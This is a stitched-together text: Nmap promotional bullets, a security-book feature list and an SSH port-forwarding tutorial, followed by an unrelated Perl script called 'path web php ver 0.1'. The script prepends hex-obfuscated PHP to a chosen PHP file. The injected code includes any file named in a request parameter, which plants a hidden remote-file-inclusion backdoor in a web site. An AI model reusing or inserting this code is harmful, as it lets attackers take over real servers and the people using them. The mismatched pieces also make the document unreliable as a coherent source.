• Supported: While Nmap comes with no warranty, it is well supported by the community and we appreciate bug reports and patches. If you encounter a problem, please follow these instructions.
• Acclaimed: Nmap has won numerous awards, including "Information Security Product of the Year" by Linux Journal, Info World and Codetalker Digest. It has been featured in hundreds of magazine articles, several movies, dozens of books, and one comic book series. Visit the press page for further details.
• Popular: Thousands of people download Nmap every day, and it is included with many operating systems (Redhat Linux, Debian Linux, Gentoo, FreeBSD, OpenBSD, etc). It is among the top ten (out of 30,000) programs at the Freshmeat.Net repository. This is important because it lends Nmap its vibrant development and user support communities.

• Secure your critical domain name system (DNS) infrastructure
• Ensure reliable Internet connectivity amidst a myriad of attacks
• Implement effective intrusion detection and prevention technologies
• Prevent e-mail abuse using advanced filtering, encryption, and other methods
• Stop data theft and egress exploitation by altering packet filtering rules
• Defend against viruses, worms, bots, Trojans, and other malicious code
• Use IP sinkholes and backscatter analysis to trap and gain knowledge from scanning and infiltration attempts
• Secure wireless networks using a variety of technologies
• Create a customized vulnerability assessment methodology for your organization
• Use proven digital forensics techniques to investigate attacks
• Learn to protect your software from little-known vulnerabilities

Let's define our sample setup: We have a PC at home called mypc. We
want to connect to a computer in Garching called work, but we are
only allowed to connect to a gateway machine called gate:

The normal way would be a two step process: first connect from
mypc to gate and then from gate to

work. Let's see how a tunnel can help:

• Case 1: From a Unix-like machine

  
  The following refers to OpenSSH 2.x and 3.x:
  

  
  
  On mypc we execute this command:
  
  

  
  ssh  -l myuserid  -L 7777:work:22  gate  cat -
  

  
  
  This means: open an ssh connection as user myuserid to host
  gate and execute the command cat -. While the session is
  open, redirect all connections to port 7777 on the local machine to
  port 22 on machine work.
  
  

  
  
  Now we can use any SSH command (ssh, slogin, scp,
  
  sftp) to connect directly to work through the
  tunnel. For example:
  
  

  
  ssh -p 7777 localhost uname -a
  
  slogin -p 7777 localhost
  
  scp -p -P 7777 localhost:data/file1.txt .
  
  sftp -oPort=7777 localhost
  

  
  
  

  
  

  ---

  
  How it works:
  

  
  
  The ssh process on the local machine mypc establishes an
  SSH connection with the sshd server process on the gateway
  machine gate. It uses the well-known port 22 on the
  server side and some free port on the local machine, e.g. 605. In
  addition, because we have used the -L option, the local
  
  ssh process accepts local connections to port 7777 and
  sends all data received on this port through the other port 605
  to gate with some marking "this is from tunnel 7777". The
  gateway gate has been informed through the -L option
  that, whenever it receives data marked with "this is from tunnel
  7777", it has to open a connection to host work on port 22 and
  send it that data:
  
  
  
  

  
  

  ---

  
  Some remarks:
  

  
  
  

  
  
  
  1. The cat - command in the first ssh command is there only to
     keep the connection open. Any other command which does not finish
     could be used. It could be left blank, too, thereby opening a shell,
     but then you need a controlling terminal and cannot use the ssh
     command in a script.
     

     
     
     

  2. You can use any port above 1024 and below 32768 for the -L option.
     
     

     
     
     

  3. If you need to connect to several machines, then just specify more
     -L options in the first ssh command, one per machine, each with
     a different local port. For example:
     

     
     ssh -l myuserid -L 7777:work1:22 -L 7778:work2:22 -L 7779:work3:22 gate cat -
     

     
     then use ssh -p 7777 localhost to connect to work1,
     
     ssh -p 7778 localhost to connect to work2, etc.
     
     

     
     
     

  4. You can also redirect to other remote ports. For example, if
     machine work accepted telnet connections (port 23), then
     you could prepare the tunnel with:
     
     

     
     ssh -l myuserid -L 7777:work:23 gate cat -
     
     

     
     
     and then just telnet to work with this command:
     
     

     
     telnet localhost 7777
     

     
     
     The port numbers of usual network services can be found in file
     '/etc/services'.
     
     

     
     
     

  5. You can write a small script to setup the SSH tunnel for all
     connections you normally need and call that script automatically every
     time you connect from home to the Internet.
     

     
     
     

  6. You can define aliases for connections which you need very
     often. For example, if you do (in a tcsh):
     

     
     alias sshwork 'ssh -p 7777 localhost'
     

     
     then you can simply do things like:
     

     
     sshwork uname -a
     
     sshwork ps -ef
     
     sshwork   (to login)
     

     
     
     

     
     
     

  7. With some more complex aliases or shell scripts you can almost work
     as with a direct connection. For example, if you do:
     
     

     
     alias ssh \
     'set target=`echo \!^ | sed -e "s/work/-p 7777 localhost/g"` ; \
     /usr/local/bin/ssh $target \!:2*'
     

     
     then you can do:
     

     
     ssh work ps -ef
     

     
     

     
     
     

  8. If you use the -v option for the ssh command which prepares
     the tunnel, then you can see in its output whenever a connection is
     established through the tunnel (and other debug messages).

$xscript = "\x3c\x3f\n\x69\x66\x20\x28\x24".$backdoor."\x20\x21\x3d\x20\x22\x22\x29\n\x7b\n
\x20\x69\x6e\x63\x6c\x75\x64\x65\x20\x28\x24".$backdoor."\x29\x3b\n\x7d\n\x20
\x24\x70\x72\x6f\x74\x65\x63\x74\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x20\x3d\x20
\x61\x72\x72\x61\x79\x28\x27".$cbug."\x27\x2c\x27\x63\x68\x64\x69\x72\x27\x29
\x3b\n\x20\x66\x6f\x72\x65\x61\x63\x68\x20\x28\x24\x70\x72\x6f\x74\x65\x63\x74
\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x20\x61\x73\x20\x24\x67\x6c\x6f\x62\x61\x6c\x29
\n\x20\x20\x20\x7b\n\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x20\x69\x6e\x5f
\x61\x72\x72\x61\x79\x28\x24\x67\x6c\x6f\x62\x61\x6c\x20\x2c\x20\x61\x72\x72
\x61\x79\x5f\x6b\x65\x79\x73\x28\x24\x5f\x52\x45\x51\x55\x45\x53\x54\x29\x29
\x20\x7c\x7c\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x6e\x5f\x61
\x72\x72\x61\x79\x28\x24\x67\x6c\x6f\x62\x61\x6c\x20\x2c\x20\x61\x72\x72\x61
\x79\x5f\x6b\x65\x79\x73\x28\x24\x5f\x47\x45\x54\x29\x29\x20\x20\x20\x20\x20
\x7c\x7c\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x6e\x5f\x61\x72
\x72\x61\x79\x28\x24\x67\x6c\x6f\x62\x61\x6c\x20\x2c\x20\x61\x72\x72\x61\x79
\x5f\x6b\x65\x79\x73\x28\x24\x5f\x50\x4f\x53\x54\x29\x29\x20\x20\x20\x20\x7c
\x7c\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x6e\x5f\x61\x72\x72
\x61\x79\x28\x24\x67\x6c\x6f\x62\x61\x6c\x20\x2c\x20\x61\x72\x72\x61\x79\x5f
\x6b\x65\x79\x73\x28\x24\x5f\x43\x4f\x4f\x4b\x49\x45\x29\x29\x20\x20\x7c\x7c
\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x6e\x5f\x61\x72\x72\x61
\x79\x28\x24\x67\x6c\x6f\x62\x61\x6c\x20\x2c\x20\x61\x72\x72\x61\x79\x5f\x6b
\x65\x79\x73\x28\x24\x5f\x46\x49\x4c\x45\x53\x29\x29\x29\x20\n\x20\x20\x20
\x20\x20\x20\x20\x20\x20\x20\x20\x7b\n\x20\x20\x20\x20\x20\x20\x20\x20\x20
\x20\x20\x20\x20\x64\x69\x65\x28\x22\x3c\x74\x69\x74\x6c\x65\x3e$title\x3c\x2f
\x74\x69\x74\x6c\x65\x3e\x3c\x73\x74\x79\x6c\x65\x3e\x62\x6f\x64\x79\x20\x7b
\x9\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x20
\x23\x30\x30\x30\x30\x30\x30\x3b\x7d\x20\x3c\x2f\x73\x74\x79\x6c\x65
\x3e".$pesan."\x22\x29\x3b\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7d
\n\x20\x20\x20\x7d\n\x3f\x3e\n";

$msgnull = "======================\npath web php ver 0.1\ncreate
by : dr.pluto\n======================\ncara panggunaan : perl phppaths.pl [bug string]
[file]\nContoh:\n perl phppaths.pl page index.php \n";

if (! $cbug)

{

die($msgnull);

};

if (! $filepaths)

{

die($msgnull);

};

open(TEMP, "> /tmp/plutoganteng")|| die "ada yang salah: $!" ;

printf TEMP $xscript ;

close(TEMP);

system ('cat /tmp/plutoganteng '.$filepaths.' > /tmp/pathsweb');

system ('cat /tmp/pathsweb > '.$filepaths);

system ('rm -f /tmp/pathsweb /tmp/plutoganteng');

print "======================\n";

print "path web php ver 0.1\n";

print "create by : dr.pluto\n";

print "======================\n";

print "info :\n";

print "Bug string :".$cbug."\n";

print "File to path :".$filepaths."\n";

#EOF